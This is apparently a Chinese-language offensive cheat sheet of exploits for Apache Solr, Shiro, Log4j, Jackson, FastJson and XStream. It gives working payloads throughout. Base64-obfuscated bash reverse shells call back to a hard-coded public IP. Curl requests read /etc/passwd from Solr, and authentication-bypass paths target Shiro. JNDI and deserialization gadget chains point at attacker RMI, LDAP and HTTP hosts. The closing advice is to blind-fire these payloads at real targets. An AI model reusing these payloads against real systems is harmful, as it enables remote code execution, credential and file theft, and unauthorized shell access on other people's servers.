Solr
端口:8393
CVE-2019-0193(远程命令执行漏洞)
漏洞版本:Apache Solr < 8.2.0
利用条件:
-
Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler ( 默认不会被启用 )
-
Solr admin UI未开启鉴权验证(默认情况无需任何验证)
POC:
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
CVE-2019-17558(命令执行)
影响版本:Apache Solr 5.0.0版本至8.3.1
利用:直接使用工具执行命令
工具:https://github.com/jas502n/solr_rce
CVE-2021-27905(文件读取)
全版本官方拒绝修复该漏洞。
利用:
获取数据库名 /solr/admin/cores?indexInfo=false&wt=json 数据库名demo 触发访问curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://目标地址:8983/solr/demo/config'
3.任意文件读取
curl -i -s -k 'http://目标地址:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
Shiro
Java安全框架,能够用于身份验证、授权、加密和会话管理。
特征:数据包cookie中含有rememberMe字段
CVE_2016_4437
影响版本:Apache Shiro <= 1.2.4
利用:直接狐狸工具箱shiro工具梭哈
CVE-2020-11989
Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。
影响版本:Apache Shiro < 1.7.1
POC:/admin/%20
CVE-2020-1957
Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过
影响版本:Apache Shiro < 1.5.3
POC:/xxx/..;/admin/
Log4j
CVE-2021-44228
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
影响版本:Apache Log4j2 2.0 - 2.15.0-rc1
漏洞产生原因:
- 对应漏洞存在版本
- 使用的logger.error(参数用户可控) 如果使用的logger.info不会有该漏洞。
- 利用就是把error的参数改成下面我们使用jndi生成的链接;如果不成功,我们可以使用url编码的形式。
利用:
先利用jndi生成执行命令的url(rmi和ldap协议)
反弹shell的命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
payload:
${jndi:rmi://192.168.1.5:1099/ixsfre}
或者对其采用url编码
Jackson
CVE-2020-8840
影响版本:2.0.0 <= FasterXML jackson-databind Version <= 2.10.1
jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行 路径Jacksondatabind/attack
利用:
payload:
[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]
CVE-2020-35728
影响版本:FasterXML jackson-databind 2.x < 2.9.10.8
jackson-databind存在一处反序列化远程代码执行漏洞(CVE-2020-35728),该漏洞是由于com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。 路径Jacksondatabind/attack
payload:
payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]"
FastJson
FastJson版本<=1.2.24
源码:
pom.xml:
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class FastJson {
public static void main(String[] args) {
try {
// 转换成object
JSONObject jsonToObject = JSON.parseObject("{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}");
//return jsonToObject.get("name").toString();
} catch (Exception e) {
//return e.toString();
}
}
}
漏洞利用就是parseObject的参数可控,用户可以使用jndi注入执行任意命令。
payload:
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"
+ " \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"
+ " \"autoCommit\": true\r\n"
+ " }\r\n"
+ "}";
FastJson版本<= 1.2.47
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
</dependencies>
与上面的唯一区别就是换了一个版本。
payload:
"{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +
" \"autoCommit\":true\n" +
" }\n" +
"}"
FastJson版本<= 1.2.80
上面两种使用的java自带的JdbcRowSetImpl,且使用的是jndi注入,这种对目标的jdk版本要求极高,否则很难成功。
对于<=1.2.80的高版本,我们只能使用目标项目中调用的组件和类文件。
如果目标使用了groovy外部库:可以使用如下POC:
public static void main(String[] args){
//依赖1.2.76-1.2.80,依赖groovy
//jar包写法见https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7
String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
String poc2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://192.168.1.4:82/attack-1.jar\"\n" +
" }\n" +
"}";
System.out.println(poc1);
System.out.println(poc2);
try {
JSON.parseObject(poc1);
} catch (Exception e) {}
JSON.parseObject(poc2);
}
}
这个具体的攻击payload就要看目标引用的外部库和项目中的文件。
fastjsonPOC工具:https://github.com/kezibei/fastjson_payload
在实战中我们也不知道目标引入的外部可和具体文件,我们只能根据POC进行盲打,不断的尝试。
XStream
CVE-2021-21351
- 利用jndi生成rmi/ldap协议的链接
- 构造payload提交
- 以post形式提交数据,数据内容就是payload,记得修改content-type为xml
反弹shell命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
<m__DTMXRTreeFrag>
<m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
<m__size>-10086</m__size>
<m__mgrDefault>
<__overrideDefaultParser>false</__overrideDefaultParser>
<m__incremental>false</m__incremental>
<m__source__location>false</m__source__location>
<m__dtms>
<null/>
</m__dtms>
<m__defaultHandler/>
</m__mgrDefault>
<m__shouldStripWS>false</m__shouldStripWS>
<m__indexing>false</m__indexing>
<m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
<fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://evil-ip:1099/example</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</fPullParserConfig>
<fConfigSetInput>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>setAutoCommit</name>
<parameter-types>
<class>boolean</class>
</parameter-types>
</fConfigSetInput>
<fConfigParse reference='../fConfigSetInput'/>
<fParseInProgress>false</fParseInProgress>
</m__incrementalSAXSource>
<m__walker>
<nextIsRaw>false</nextIsRaw>
</m__walker>
<m__endDocumentOccured>false</m__endDocumentOccured>
<m__idAttributes/>
<m__textPendingStart>-1</m__textPendingStart>
<m__useSourceLocationProperty>false</m__useSourceLocationProperty>
<m__pastFirstElement>false</m__pastFirstElement>
</m__dtm>
<m__dtmIdentity>1</m__dtmIdentity>
</m__DTMXRTreeFrag>
<m__dtmRoot>1</m__dtmRoot>
<m__allowRelease>false</m__allowRelease>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
CVE-2021-29505
XStream是XStream(Xstream)团队的一个轻量级的、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。 通过该漏洞,攻击者构造特定的XML,绕过XStream的黑名单,最终触发反序列化造成任意代码执行。
影响版本:XStream <= 1.4.16
利用:
- 攻击机生成反弹shell的反序列化JNDI注入(java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success")
- 发送payload数据包
payload:(记得payload中有两个地方需要改ip)
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>evil-ip</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>evil-ip</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
思路:
我们在实战中确定目标是java环境,然后发现数据包中是以json/xml形式传输数据,那么我们就可以尝试上面这些payload进行盲打。